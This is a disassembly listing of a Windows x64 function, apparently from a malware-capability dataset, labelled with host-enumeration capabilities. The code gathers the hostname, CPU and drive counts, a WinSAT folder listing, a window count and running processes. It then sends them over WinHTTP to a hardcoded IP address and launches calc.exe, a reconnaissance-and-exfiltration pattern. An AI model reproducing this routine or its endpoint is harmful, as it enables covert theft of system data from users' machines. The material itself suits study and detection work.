Function at 0x140002b30
Capabilities:
Enumerate files on windows
Enumerate gui resources
Get common file path
Get disk information
Get hostname
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0x680]
sub rsp, 0x780
mov rax, qword [0x14003c040]
xor rax, rsp
mov qword [rbp + 0x670], rax
xor r15d, r15d
mov dword [rsp + 0x60], r15d
mov dword [rbp + 0x1b0], 0x10
lea rdx, [rbp + 0x1b0]
lea rcx, [rbp + 0x650]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
lea rcx, [rbp + 0x3a0]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov r14d, dword [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
cmp dword [0x14003c010], 2
jge 0x140002bf0
mov ecx, eax
shr ecx, 1
and ecx, 0x55555555
sub eax, ecx
mov ecx, eax
shr ecx, 2
and ecx, 0x33333333
and eax, 0x33333333
add ecx, eax
mov eax, ecx
shr eax, 4
add eax, ecx
and eax, 0xf0f0f0f
imul edi, eax, 0x1010101
shr rdi, 0x18
jmp 0x140002bf7
popcnt eax, eax
movsxd rdi, eax
lea rdx, [rbp + 0x3d0]
lea rcx, str.C:WindowsPerformanceWinSATDataStore
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
mov esi, 1
cmp rax, 0xffffffffffffffff
jne 0x140002c45
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.FindFirstFile_failed___d__n
call fcn.140001080
lea rdx, str.NULL_DIR
lea rcx, [rbp + 0x258]
call fcn.1400046e0
jmp 0x140002d25
xorps xmm0, xmm0
movups xmmword [rbp + 0x620], xmm0
movdqa xmm1, xmmword [0x140036650]
movdqu xmmword [rbp + 0x630], xmm1
mov word [rbp + 0x620], r15w
movups xmmword [rbp + 0x1b8], xmm0
movdqu xmmword [rbp + 0x1c8], xmm1
mov word [rbp + 0x1b8], r15w
nop
test byte [rbp + 0x3d0], 0x10
jne 0x140002cd4
lea rax, [rbp + 0x3fc]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140002ca0
lea rdx, [rbp + 0x3fc]
lea rcx, [rbp + 0x1b8]
call fcn.140006590
mov r8, rsi
lea rdx, [0x1400361f0]
lea rcx, [rbp + 0x1b8]
call fcn.140006590
lea rdx, [rbp + 0x3d0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x140002c80
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
movups xmm0, xmmword [rbp + 0x1b8]
movups xmmword [rbp + 0x258], xmm0
movups xmm1, xmmword [rbp + 0x1c8]
movups xmmword [rbp + 0x268], xmm1
movdqa xmm0, xmmword [0x140036650]
movdqu xmmword [rbp + 0x1c8], xmm0
mov word [rbp + 0x1b8], r15w
lea rcx, [rbp + 0x238]
call fcn.1400026f0
nop
lea rax, [rbp + 0x3d0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea rcx, [rbp + 0x278]
test eax, eax
lea rdx, [rbp + 0x3d0]
jns 0x140002d67
lea rdx, [0x1400361e8]
call fcn.1400046e0
nop
lea rdx, [rbp + 0x278]
lea rcx, [rbp + 0x218]
call fcn.140002290
nop
mov dword [rsp + 0x64], r15d
lea rdx, [rsp + 0x64]
lea rcx, [0x140002ab0]
call qword [sym.imp.USER32.dll_EnumWindows]
mov ecx, dword [rsp + 0x64]
lea eax, [rcx - 8]
cmp eax, 0x2a
ja 0x140003453
lea r9, [rbp + 0x64a]
test ecx, ecx
jns 0x140002e00
neg ecx
nop word [rax + rax]
sub r9, 2
mov eax, 0xcccccccd
mul ecx
mov r8d, edx
shr r8d, 3
movzx eax, r8w
shl ax, 2
lea edx, [rax + r8]
add dx, dx
sub cx, dx
add cx, 0x30
mov word [r9], cx
mov ecx, r8d
test r8d, r8d
jne 0x140002dc0
add r9, 0xfffffffffffffffe
mov word [r9], 0x2d
jmp 0x140002e34
sub r9, 2
mov eax, 0xcccccccd
mul ecx
mov r8d, edx
shr r8d, 3
movzx eax, r8w
shl ax, 2
lea edx, [rax + r8]
add dx, dx
sub cx, dx
add cx, 0x30
mov word [r9], cx
mov ecx, r8d
test r8d, r8d
jne 0x140002e00
lea r8, [rbp + 0x64a]
mov rdx, r9
lea rcx, [rbp + 0x1f8]
call fcn.1400086d0
nop
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400033f1
mov dword [rsp + 0x70], 0x238
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp + 0x2a0]
call fcn.140029020
lea rcx, [rbp + 0x2a0]
call fcn.140003f80
nop
lea rdx, str.Computer_Name:
lea rcx, [rbp + 0x2b0]
call fcn.140006690
mov rcx, rax
lea rdx, [rbp + 0x650]
call fcn.140006690
mov rcx, rax
lea rdx, str.__CPU_Cores:
call fcn.140006690
mov rcx, rax
mov edx, r14d
call fcn.1400043f0
mov rcx, rax
lea rdx, str.__Hard_Drives:
call fcn.140006690
mov rcx, rax
mov edx, edi
call fcn.1400043f0
mov rcx, rax
lea rdx, [0x1400361f0]
call fcn.140006690
mov rcx, rax
lea rdx, str.Directory_Contents:__n
call fcn.140006690
lea rdx, [rbp + 0x218]
cmp qword [rbp + 0x230], 7
cmova rdx, qword [rbp + 0x218]
mov r8, qword [rbp + 0x228]
mov rcx, rax
call fcn.140008820
lea rdx, [0x1400361f0]
mov rcx, rax
call fcn.140006690
mov rcx, rax
lea rdx, str.WinSAT:__n
call fcn.140006690
lea rdx, [rbp + 0x258]
cmp qword [rbp + 0x270], 7
cmova rdx, qword [rbp + 0x258]
mov r8, qword [rbp + 0x268]
mov rcx, rax
call fcn.140008820
mov rcx, rax
call fcn.140006950
mov rcx, rax
lea rdx, [0x140036300]
call fcn.140006690
lea rdx, [rbp + 0x238]
cmp qword [rbp + 0x250], 7
cmova rdx, qword [rbp + 0x238]
mov r8, qword [rbp + 0x248]
mov rcx, rax
call fcn.140008820
mov rcx, rax
call fcn.140006950
mov rcx, rax
lea rdx, [0x1400362e8]
call fcn.140006690
lea rdx, [rbp + 0x1f8]
cmp qword [rbp + 0x210], 7
cmova rdx, qword [rbp + 0x1f8]
mov r8, qword [rbp + 0x208]
mov rcx, rax
call fcn.140008820
mov rcx, rax
call fcn.140006950
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x14000305b
nop dword [rax]
lea rdx, str.Process_Name:
lea rcx, [rbp + 0x2b0]
call fcn.140006690
mov rcx, rax
lea rdx, [rbp - 0x64]
call fcn.140006690
mov rcx, rax
lea rdx, str.__PID:
call fcn.140006690
mov rcx, rax
mov edx, dword [rsp + 0x78]
call fcn.1400041f0
mov rcx, rax
lea rdx, [0x1400361f0]
call fcn.140006690
lea rdx, [rsp + 0x70]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x50], r15
mov r8d, 7
mov qword [rsp + 0x58], r8
mov word [rsp + 0x40], r15w
mov dword [rsp + 0x60], 0x2f
movups xmmword [rbp + 0x1b8], xmm0
mov rcx, r15
mov r9, qword [rbp + 0x328]
mov eax, r9d
and al, 0x22
cmp al, 2
je 0x1400030d8
mov rax, qword [rbp + 0x2f8]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400030d8
mov rax, qword [rbp + 0x2d8]
mov r9, qword [rax]
cmp rdx, qword [rbp + 0x320]
cmovb rdx, qword [rbp + 0x320]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x14000311a
test r9b, 4
jne 0x14000314f
mov rax, qword [rbp + 0x2f0]
mov r10, qword [rax]
mov rdx, r15
test r10, r10
je 0x140003113
mov rax, qword [rbp + 0x2d0]
mov r9, qword [rax]
mov rax, qword [rbp + 0x308]
movsxd rcx, dword [rax]
lea rdx, [r10 + rcx*2]
sub rdx, r9
sar rdx, 1
mov rcx, r9
jmp 0x14000311a
mov r9, qword [rbp + 0x1b8]
test rcx, rcx
je 0x14000314f
lea rcx, [rsp + 0x40]
cmp rdx, r8
ja 0x140003145
mov qword [rsp + 0x50], rdx
lea rbx, [rdx + rdx]
mov r8, rbx
mov rdx, r9
call fcn.140028980
mov word [rsp + rbx + 0x40], r15w
jmp 0x14000314a
call fcn.140007b50
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rax, r8
sub rax, rdx
cmp rax, 0xb
jb 0x1400031f7
lea rax, [rdx + 0xb]
mov qword [rsp + 0x50], rax
lea rdi, [rsp + 0x40]
cmp r8, 7
cmova rdi, qword [rsp + 0x40]
lea rax, [0x1400363fe]
lea r14, str.systemInfo
cmp rax, rdi
jbe 0x1400031ad
lea rax, [rdi + rdx*2]
cmp r14, rax
ja 0x1400031ad
cmp rdi, r14
ja 0x1400031a2
mov rbx, r15
jmp 0x1400031b2
mov rbx, rdi
sub rbx, r14
sar rbx, 1
jmp 0x1400031b2
mov ebx, 0xb
lea rcx, [rdi + 0x16]
lea r8, [rdx*2 + 2]
mov rdx, rdi
call fcn.140028980
add rbx, rbx
mov r8, rbx
mov rdx, r14
mov rcx, rdi
call fcn.140028980
lea rcx, [rdi + rbx]
mov r8d, 0x16
sub r8, rbx
lea rdx, [r14 + 0x16]
add rdx, rbx
call fcn.140028980
lea rax, [rsp + 0x40]
jmp 0x14000320d
mov ebx, 0xb
mov qword [rsp + 0x28], rbx
mov edx, ebx
lea rcx, [rsp + 0x40]
call fcn.140008ad0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1d8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1e8], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1d8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x1e8], xmm1
mov qword [rax + 0x10], r15
mov qword [rax + 0x18], 7
mov word [rax], r15w
mov rdx, qword [rsp + 0x58]
cmp rdx, 7
jbe 0x140003289
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003284
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d3
call fcn.140009d28
mov dword [rsp + 0x20], r15d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.A_WinHTTP_Example_Program_1.0
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov rdi, rax
mov r8d, 0x1f96
xor r9d, r9d
lea rdx, str.117.50.179.15
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov r14, rax
mov dword [rsp + 0x30], r15d
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, [0x14003645c]
lea rdx, [0x140036460]
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov rbx, rax
lea r9, [rbp + 0x1d8]
cmp qword [rbp + 0x1f0], 7
cmova r9, qword [rbp + 0x1d8]
mov ecx, dword [rbp + 0x1e8]
add ecx, ecx
mov qword [rsp + 0x30], r15
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x20], ecx
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
test eax, eax
je 0x140003337
xor edx, edx
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
test rbx, rbx
je 0x140003345
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test r14, r14
je 0x140003353
mov rcx, r14
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
test rdi, rdi
je 0x140003361
mov rcx, rdi
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov dword [rsp + 0x28], esi
mov qword [rsp + 0x20], r15
xor r9d, r9d
lea r8, str.calc.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov esi, r15d
mov rdx, qword [rbp + 0x1f0]
cmp rdx, 7
jbe 0x1400033cc
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1d8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033c7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035d9
call fcn.140009d28
movdqa xmm0, xmmword [0x140036650]
movdqu xmmword [rbp + 0x1e8], xmm0
mov word [rbp + 0x1d8], r15w
lea rcx, [rbp + 0x2a0]
call fcn.140002600
nop
mov rdx, qword [rbp + 0x210]
cmp rdx, 7
jbe 0x140003437
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x1f8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003432
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035df
call fcn.140009d28
mov qword [rbp + 0x208], r15
mov qword [rbp + 0x210], 7
mov word [rbp + 0x1f8], r15w
jmp 0x140003456
mov esi, r15d
mov rdx, qword [rbp + 0x230]
cmp rdx, 7
jbe 0x14000349c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x218]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003497
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035e5
call fcn.140009d28
mov qword [rbp + 0x228], r15
mov qword [rbp + 0x230], 7
mov word [rbp + 0x218], r15w
mov rdx, qword [rbp + 0x290]
cmp rdx, 7
jbe 0x1400034fd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x278]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400034f7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035eb
call fcn.140009d28
nop
mov rdx, qword [rbp + 0x250]
cmp rdx, 7
jbe 0x140003543
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x238]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000353e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f1
call fcn.140009d28
mov qword [rbp + 0x248], r15
mov qword [rbp + 0x250], 7
mov word [rbp + 0x238], r15w
mov rdx, qword [rbp + 0x270]
cmp rdx, 7
jbe 0x14000359f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x258]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000359a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035cd
call fcn.140009d28
mov eax, esi
mov rcx, qword [rbp + 0x670]
xor rcx, rsp
call fcn.140009b20
lea r11, [rsp + 0x780]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140013c70
nop
call fcn.140013c70
nop
call fcn.140013c70
nop
call fcn.140013c70
nop
call fcn.140013c70
nop
call fcn.140013c70
nop
call fcn.140013c70
int3